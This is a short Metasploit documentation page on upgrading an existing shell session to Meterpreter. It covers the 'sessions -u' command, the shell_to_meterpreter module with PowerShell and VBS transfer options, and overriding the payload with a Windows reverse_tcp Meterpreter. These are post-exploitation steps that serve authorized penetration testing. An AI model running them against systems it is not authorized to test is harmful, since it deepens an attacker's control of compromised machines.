Upgrading shells to Meterpreter
If you have an existing session, either Meterpreter, an SSH, or a basic command shell - you can open a new Meterpreter session with:
sessions -u 3
To upgrade the most recently opened session to Meterpreter using the sessions
command:
sessions -u -1
Or run the shell_to_meterpreter
module manually:
use multi/manage/shell_to_meterpreter
run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
If you want to upgrade your shell with fine control over what payload, use the PAYLOAD_OVERRIDE
, PLATFORM_OVERRIDE
, and on windows, PSH_ARCH_OVERRIDE
. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64